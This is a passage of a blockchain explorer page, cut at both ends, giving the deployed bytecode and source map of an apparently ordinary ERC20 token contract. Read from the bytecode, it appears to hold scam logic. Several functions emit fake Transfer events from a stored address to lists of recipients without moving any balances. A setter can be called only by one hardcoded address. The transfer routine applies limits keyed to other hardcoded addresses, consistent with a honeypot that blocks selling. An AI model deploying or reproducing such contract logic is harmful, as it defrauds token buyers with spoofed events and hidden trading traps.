cebee64736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb14610294578063beabacc8146102c4578063dd62ed3e146102e0578063e7b8174914610310578063f2fde38b146103405761010b565b806370a082311461021e578063715018a61461024e5780638da5cb5b1461025857806395d89b41146102765761010b565b806326ededb8116100de57806326ededb8146101ac578063313ce567146101c8578063321bef23146101e657806368432dad146102025761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861035c565b60405161012591906112cc565b60405180910390f35b6101486004803603810190610143919061138c565b6103ee565b60405161015591906113e7565b60405180910390f35b610166610411565b6040516101739190611411565b60405180910390f35b6101966004803603810190610191919061142c565b61041b565b6040516101a391906113e7565b60405180910390f35b6101c660048036038101906101c191906114e4565b61044a565b005b6101d061051f565b6040516101dd9190611560565b60405180910390f35b61020060048036038101906101fb91906114e4565b610528565b005b61021c600480360381019061021791906114e4565b6105fd565b005b6102386004803603810190610233919061157b565b6106d2565b6040516102459190611411565b60405180910390f35b61025661071b565b005b61026061072f565b60405161026d91906115b7565b60405180910390f35b61027e610758565b60405161028b91906112cc565b60405180910390f35b6102ae60048036038101906102a9919061138c565b6107ea565b6040516102bb91906113e7565b60405180910390f35b6102de60048036038101906102d9919061142c565b61080d565b005b6102fa60048036038101906102f591906115d2565b610877565b6040516103079190611411565b60405180910390f35b61032a6004803603810190610325919061157b565b6108fe565b60405161033791906113e7565b60405180910390f35b61035a6004803603810190610355919061157b565b61099a565b005b60606004805461036b90611641565b80601f016020809104026020016040519081016040528092919081815260200182805461039790611641565b80156103e45780601f106103b9576101008083540402835291602001916103e4565b820191906000526020600020905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b6000806103f9610a1e565b9050610406818585610a26565b600191505092915050565b6000600354905090565b600080610426610a1e565b9050610433858285610bf1565b61043e858585610c7d565b60019150509392505050565b60005b838390508110156105195783838281811061046b5761046a611673565b5b9050602002016020810190610480919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104fe9190611411565b60405180910390a38080610511906116d1565b91505061044d565b50505050565b60006008905090565b60005b838390508110156105f75783838281811061054957610548611673565b5b905060200201602081019061055e919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105dc9190611411565b60405180910390a380806105ef906116d1565b91505061052b565b50505050565b60005b838390508110156106cc5783838281811061061e5761061d611673565b5b9050602002016020810190610633919061157b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b19190611411565b60405180910390a380806106c4906116d1565b915050610600565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107236110ec565b61072d600061116a565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076790611641565b80601f016020809104026020016040519081016040528092919081815260200182805461079390611641565b80156107e05780601f106107b5576101008083540402835291602001916107e0565b820191906000526020600020905b8154815290600101906020018083116107c357829003601f168201915b5050505050905090565b6000806107f5610a1e565b9050610802818585610c7d565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086a9190611411565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000736c54d8a238512d07f1624dd931680451be3fc1bd73ffffffffffffffffffffffffffffffffffffffff16610933610a1e565b73ffffffffffffffffffffffffffffffffffffffff1614156109915781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b6109a26110ec565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061178c565b60405180910390fd5b610a1b8161116a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d9061181e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906118b0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be49190611411565b60405180910390a3505050565b6000610bfd8484610877565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c775781811015610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c609061191c565b60405180910390fd5b610c768484848403610a26565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce4906119ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5490611a40565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dfa5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610f3657508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e9d575073ff6bf00dcef246fcb008876f9a29f4cc8792177373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ee957507342bf68900f26fb644bcc02cd063c756a4d65dbcc73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f355750736c54d8a238512d07f1624dd931680451be3fc1bd73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610f5c576000600182610f4a9190611a60565b90506007548110610f5a57600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda90611b28565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d39190611411565b60405180910390a36110e684848461122e565b50505050565b6110f4610a1e565b73ffffffffffffffffffffffffffffffffffffffff1661111261072f565b73ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90611b94565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126d578082015181840152602081019050611252565b8381111561127c576000848401525b50505050565b6000601f19601f8301169050919050565b600061129e82611233565b6112a8818561123e565b93506112b881856020860161124f565b6112c181611282565b840191505092915050565b600060208201905081810360008301526112e68184611293565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611323826112f8565b9050919050565b61133381611318565b811461133e57600080fd5b50565b6000813590506113508161132a565b92915050565b6000819050919050565b61136981611356565b811461137457600080fd5b50565b60008135905061138681611360565b92915050565b600080604083850312156113a3576113a26112ee565b5b60006113b185828601611341565b92505060206113c285828601611377565b9150509250929050565b60008115159050919050565b6113e1816113cc565b82525050565b60006020820190506113fc60008301846113d8565b92915050565b61140b81611356565b82525050565b60006020820190506114266000830184611402565b92915050565b600080600060608486031215611445576114446112ee565b5b600061145386828701611341565b935050602061146486828701611341565b925050604061147586828701611377565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126114a4576114a361147f565b5b8235905067ffffffffffffffff8111156114c1576114c0611484565b5b6020830191508360208202830111156114dd576114dc611489565b5b9250929050565b6000806000604084860312156114fd576114fc6112ee565b5b600084013567ffffffffffffffff81111561151b5761151a6112f3565b5b6115278682870161148e565b9350935050602061153a86828701611377565b9150509250925092565b600060ff82169050919050565b61155a81611544565b82525050565b60006020820190506115756000830184611551565b92915050565b600060208284031215611591576115906112ee565b5b600061159f84828501611341565b91505092915050565b6115b181611318565b82525050565b60006020820190506115cc60008301846115a8565b92915050565b600080604083850312156115e9576115e86112ee565b5b60006115f785828601611341565b925050602061160885828601611341565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165957607f821691505b6020821081141561166d5761166c611612565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116dc82611356565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561170f5761170e6116a2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061177660268361123e565b91506117818261171a565b604082019050919050565b600060208201905081810360008301526117a581611769565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061180860248361123e565b9150611813826117ac565b604082019050919050565b60006020820190508181036000830152611837816117fb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061189a60228361123e565b91506118a58261183e565b604082019050919050565b600060208201905081810360008301526118c98161188d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611906601d8361123e565b9150611911826118d0565b602082019050919050565b60006020820190508181036000830152611935816118f9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061199860238361123e565b91506119a38261193c565b604082019050919050565b600060208201905081810360008301526119c78161198b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a2a60258361123e565b9150611a35826119ce565b604082019050919050565b60006020820190508181036000830152611a5981611a1d565b9050919050565b6000611a6b82611356565b9150611a7683611356565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aab57611aaa6116a2565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611b1260268361123e565b9150611b1d82611ab6565b604082019050919050565b60006020820190508181036000830152611b4181611b05565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611b7e60208361123e565b9150611b8982611b48565b602082019050919050565b60006020820190508181036000830152611bad81611b71565b905091905056fea264697066735822122087e63a6a2c47926e98482f26f9bdb4e984a8d1f6b8b480a888bf4282177cebee64736f6c63430008090033

Deployed Bytecode Sourcemap

2461:5301:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2800:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4246:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4756:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4453:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3548:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3016:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3329:213;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3114:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4872:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1949:103;;;:::i;:::-;;1718:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2906:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3890:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3765:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4089:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5005:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2058:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2800:100;2854:13;2887:5;2880:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2800:100;:::o;4246:201::-;4329:4;4346:13;4362:12;:10;:12::i;:::-;4346:28;;4385:32;4394:5;4401:7;4410:6;4385:8;:32::i;:::-;4435:4;4428:11;;;4246:201;;;;:::o;4756:108::-;4817:7;4844:12;;4837:19;;4756:108;:::o;4453:295::-;4584:4;4601:15;4619:12;:10;:12::i;:::-;4601:30;;4642:38;4658:4;4664:7;4673:6;4642:15;:38::i;:::-;4691:27;4701:4;4707:2;4711:6;4691:9;:27::i;:::-;4736:4;4729:11;;;4453:295;;;;;:::o;3548:211::-;3637:9;3632:120;3656:11;;:18;;3652:1;:22;3632:120;;;3719:11;;3731:1;3719:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3701:39;;3710:7;;;;;;;;;;;3701:39;;;3735:4;3701:39;;;;;;:::i;:::-;;;;;;;;3676:3;;;;;:::i;:::-;;;;3632:120;;;;3548:211;;;:::o;3016:92::-;3074:5;3099:1;3092:8;;3016:92;:::o;3329:213::-;3420:9;3415:120;3439:11;;:18;;3435:1;:22;3415:120;;;3502:11;;3514:1;3502:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3484:39;;3493:7;;;;;;;;;;;3484:39;;;3518:4;3484:39;;;;;;:::i;:::-;;;;;;;;3459:3;;;;;:::i;:::-;;;;3415:120;;;;3329:213;;;:::o;3114:209::-;3201:9;3196:120;3220:11;;:18;;3216:1;:22;3196:120;;;3283:11;;3295:1;3283:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3265:39;;3274:7;;;;;;;;;;;3265:39;;;3299:4;3265:39;;;;;;:::i;:::-;;;;;;;;3240:3;;;;;:::i;:::-;;;;3196:120;;;;3114:209;;;:::o;4872:127::-;4946:7;4973:9;:18;4983:7;4973:18;;;;;;;;;;;;;;;;4966:25;;4872:127;;;:::o;1949:103::-;1679:13;:11;:13::i;:::-;2014:30:::1;2041:1;2014:18;:30::i;:::-;1949:103::o:0;1718:87::-;1764:7;1791:6;;;;;;;;;;;1784:13;;1718:87;:::o;2906:104::-;2962:13;2995:7;2988:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2906:104;:::o;3890:193::-;3969:4;3986:13;4002:12;:10;:12::i;:::-;3986:28;;4025;4035:5;4042:2;4046:6;4025:9;:28::i;:::-;4071:4;4064:11;;;3890:193;;;;:::o;3765:119::-;3866:3;3850:26;;3859:5;3850:26;;;3871:4;3850:26;;;;;;:::i;:::-;;;;;;;;3765:119;;;:::o;4089:151::-;4178:7;4205:11;:18;4217:5;4205:18;;;;;;;;;;;;;;;:27;4224:7;4205:27;;;;;;;;;;;;;;;;4198:34;;4089:151;;;;:::o;5005:189::-;5066:4;5103:42;5087:58;;:12;:10;:12::i;:::-;:58;;;5084:80;;;5157:7;5147;;:17;;;;;;;;;;;;;;;;;;5084:80;5182:4;5175:11;;5005:189;;;:::o;2058:201::-;1679:13;:11;:13::i;:::-;2167:1:::1;2147:22;;:8;:22;;;;2139:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2223:28;2242:8;2223:18;:28::i;:::-;2058:201:::0;:::o;1203:98::-;1256:7;1283:10;1276:17;;1203:98;:::o;5605:378::-;5758:1;5741:19;;:5;:19;;;;5733:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5839:1;5820:21;;:7;:21;;;;5812:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5921:6;5891:11;:18;5903:5;5891:18;;;;;;;;;;;;;;;:27;5910:7;5891:27;;;;;;;;;;;;;;;:36;;;;5959:7;5943:32;;5952:5;5943:32;;;5968:6;5943:32;;;;;;:::i;:::-;;;;;;;;5605:378;;;:::o;7014:453::-;7149:24;7176:25;7186:5;7193:7;7176:9;:25::i;:::-;7149:52;;7236:17;7216:16;:37;7212:248;;7298:6;7278:16;:26;;7270:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7382:51;7391:5;7398:7;7426:6;7407:16;:25;7382:8;:51::i;:::-;7212:248;7138:329;7014:453;;;:::o;5989:1019::-;6134:1;6120:16;;:2;:16;;;;6112:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6211:1;6195:18;;:4;:18;;;;6187:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6278:7;;;;;;;;;;;6270:15;;:4;:15;;;;:77;;;;;6305:42;6289:58;;:2;:58;;;6270:77;6269:293;;;;6374:2;6363:13;;:7;;;;;;;;;;;:13;;;:67;;;;;6388:42;6380:50;;:4;:50;;;;6363:67;:133;;;;;6454:42;6445:51;;:4;:51;;;;6363:133;:198;;;;;6519:42;6511:50;;:4;:50;;;;6363:198;6269:293;6266:391;;;6579:14;6605:1;6596:6;:10;;;;:::i;:::-;6579:27;;6638:5;;6629:6;:14;6621:24;;;;;;6564:93;6266:391;6667:19;6689:9;:15;6699:4;6689:15;;;;;;;;;;;;;;;;6667:37;;6738:6;6723:11;:21;;6715:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;6855:6;6841:11;:20;6823:9;:15;6833:4;6823:15;;;;;;;;;;;;;;;:38;;;;6893:6;6876:9;:13;6886:2;6876:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;6941:2;6926:26;;6935:4;6926:26;;;6945:6;6926:26;;;;;;:::i;:::-;;;;;;;;6963:37;6983:4;6989:2;6993:6;6963:19;:37::i;:::-;6101:907;5989:1019;;;:::o;1811:132::-;1886:12;:10;:12::i;:::-;1875:23;;:7;:5;:7::i;:::-;:23;;;1867:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1811:132::o;2265:191::-;2339:16;2358:6;;;;;;;;;;;2339:25;;2384:8;2375:6;;:17;;;;;;;;;;;;;;;;;;2439:8;2408:40;;2429:8;2408:40;;;;;;;;;;;;2328:128;2265:191;:::o;7473:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:117::-;4580:1;4577;4570:12;4594:117;4703:1;4700;4693:12;4717:117;4826:1;4823;4816:12;4857:568;4930:8;4940:6;4990:3;4983:4;4975:6;4971:17;4967:27;4957:122;;4998:79;;:::i;:::-;4957:122;5111:6;5098:20;5088:30;;5141:18;5133:6;5130:30;5127:117;;;5163:79;;:::i;:::-;5127:117;5277:4;5269:6;5265:17;5253:29;;5331:3;5323:4;5315:6;5311:17;5301:8;5297:32;5294:41;5291:128;;;5338:79;;:::i;:::-;5291:128;4857:568;;;;;:::o;5431:704::-;5526:6;5534;5542;5591:2;5579:9;5570:7;5566:23;5562:32;5559:119;;;5597:79;;:::i;:::-;5559:119;5745:1;5734:9;5730:17;5717:31;5775:18;5767:6;5764:30;5761:117;;;5797:79;;:::i;:::-;5761:117;5910:80;5982:7;5973:6;5962:9;5958:22;5910:80;:::i;:::-;5892:98;;;;5688:312;6039:2;6065:53;6110:7;6101:6;6090:9;6086:22;6065:53;:::i;:::-;6055:63;;6010:118;5431:704;;;;;:::o;6141:86::-;6176:7;6216:4;6209:5;6205:16;6194:27;;6141:86;;;:::o;6233:112::-;6316:22;6332:5;6316:22;:::i;:::-;6311:3;6304:35;6233:112;;:::o;6351:214::-;6440:4;6478:2;6467:9;6463:18;6455:26;;6491:67;6555:1;6544:9;6540:17;6531:6;6491:67;:::i;:::-;6351:214;;;;:::o;6571:329::-;6630:6;6679:2;6667:9;6658:7;6654:23;6650:32;6647:119;;;6685:79;;:::i;:::-;6647:119;6805:1;6830:53;6875:7;6866:6;6855:9;6851:22;6830:53;:::i;:::-;6820:63;;6776:117;6571:329;;;;:::o;6906:118::-;6993:24;7011:5;6993:24;:::i;:::-;6988:3;6981:37;6906:118;;:::o;7030:222::-;7123:4;7161:2;7150:9;7146:18;7138:26;;7174:71;7242:1;7231:9;7227:17;7218:6;7174:71;:::i;:::-;7030:222;;;;:::o;7258:474::-;7326:6;7334;7383:2;7371:9;7362:7;7358:23;7354:32;7351:119;;;7389:79;;:::i;:::-;7351:119;7509:1;7534:53;7579:7;7570:6;7559:9;7555:22;7534:53;:::i;:::-;7524:63;;7480:117;7636:2;7662:53;7707:7;7698:6;7687:9;7683:22;7662:53;:::i;:::-;7652:63;;7607:118;7258:474;;;;;:::o;7738:180::-;7786:77;7783:1;7776:88;7883:4;7880:1;7873:15;7907:4;7904:1;7897:15;7924:320;7968:6;8005:1;7999:4;7995:12;7985:22;;8052:1;8046:4;8042:12;8073:18;8063:81;;8129:4;8121:6;8117:17;8107:27;;8063:81;8191:2;8183:6;8180:14;8160:18;8157:38;8154:84;;;8210:18;;:::i;:::-;8154:84;7975:269;7924:320;;;:::o;8250:180::-;8298:77;8295:1;8288:88;8395:4;8392:1;8385:15;8419:4;8416:1;8409:15;8436:180;8484:77;8481:1;8474:88;8581:4;8578:1;8571:15;8605:4;8602:1;8595:15;8622:233;8661:3;8684:24;8702:5;8684:24;:::i;:::-;8675:33;;8730:66;8723:5;8720:77;8717:103;;;8800:18;;:::i;:::-;8717:103;8847:1;8840:5;8836:13;8829:20;;8622:233;;;:::o;8861:225::-;9001:34;8997:1;8989:6;8985:14;8978:58;9070:8;9065:2;9057:6;9053:15;9046:33;8861:225;:::o;9092:366::-;9234:3;9255:67;9319:2;9314:3;9255:67;:::i;:::-;9248:74;;9331:93;9420:3;9331:93;:::i;:::-;9449:2;9444:3;9440:12;9433:19;;9092:366;;;:::o;9464:419::-;9630:4;9668:2;9657:9;9653:18;9645:26;;9717:9;9711:4;9707:20;9703:1;9692:9;9688:17;9681:47;9745:131;9871:4;9745:131;:::i;:::-;9737:139;;9464:419;;;:::o;9889:223::-;10029:34;10025:1;10017:6;10013:14;10006:58;10098:6;10093:2;10085:6;10081:15;10074:31;9889:223;:::o;10118:366::-;10260:3;10281:67;10345:2;10340:3;10281:67;:::i;:::-;10274:74;;10357:93;10446:3;10357:93;:::i;:::-;10475:2;10470:3;10466:12;10459:19;;10118:366;;;:::o;10490:419::-;10656:4;10694:2;10683:9;10679:18;10671:26;;10743:9;10737:4;10733:20;10729:1;10718:9;10714:17;10707:47;10771:131;10897:4;10771:131;:::i;:::-;10763:139;;10490:419;;;:::o;10915:221::-;11055:34;11051:1;11043:6;11039:14;11032:58;11124:4;11119:2;11111:6;11107:15;11100:29;10915:221;:::o;11142:366::-;11284:3;11305:67;11369:2;11364:3;11305:67;:::i;:::-;11298:74;;11381:93;11470:3;11381:93;:::i;:::-;11499:2;11494:3;11490:12;11483:19;;11142:366;;;:::o;11514:419::-;11680:4;11718:2;11707:9;11703:18;11695:26;;11767:9;11761:4;11757:20;11753:1;11742:9;11738:17;11731:47;11795:131;11921:4;11795:131;:::i;:::-;11787:139;;11514:419;;;:::o;11939:179::-;12079:31;12075:1;12067:6;12063:14;12056:55;11939:179;:::o;12124:366::-;12266:3;12287:67;12351:2;12346:3;12287:67;:::i;:::-;12280:74;;12363:93;12452:3;12363:93;:::i;:::-;12481:2;12476:3;12472:12;12465:19;;12124:366;;;:::o;12496:419::-;12662:4;12700:2;12689:9;12685:18;12677:26;;12749:9;12743:4;12739:20;12735:1;12724:9;12720:17;12713:47;12777:131;12903:4;12777:131;:::i;:::-;12769:139;;12496:419;;;:::o;12921:222::-;13061:34;13057:1;13049:6;13045:14;13038:58;13130:5;13125:2;13117:6;13113:15;13106:30;12921:222;:::o;13149:366::-;13291:3;13312:67;13376:2;13371:3;13312:67;:::i;:::-;13305:74;;13388:93;13477:3;13388:93;:::i;:::-;13506:2;13501:3;13497:12;13490:19;;1314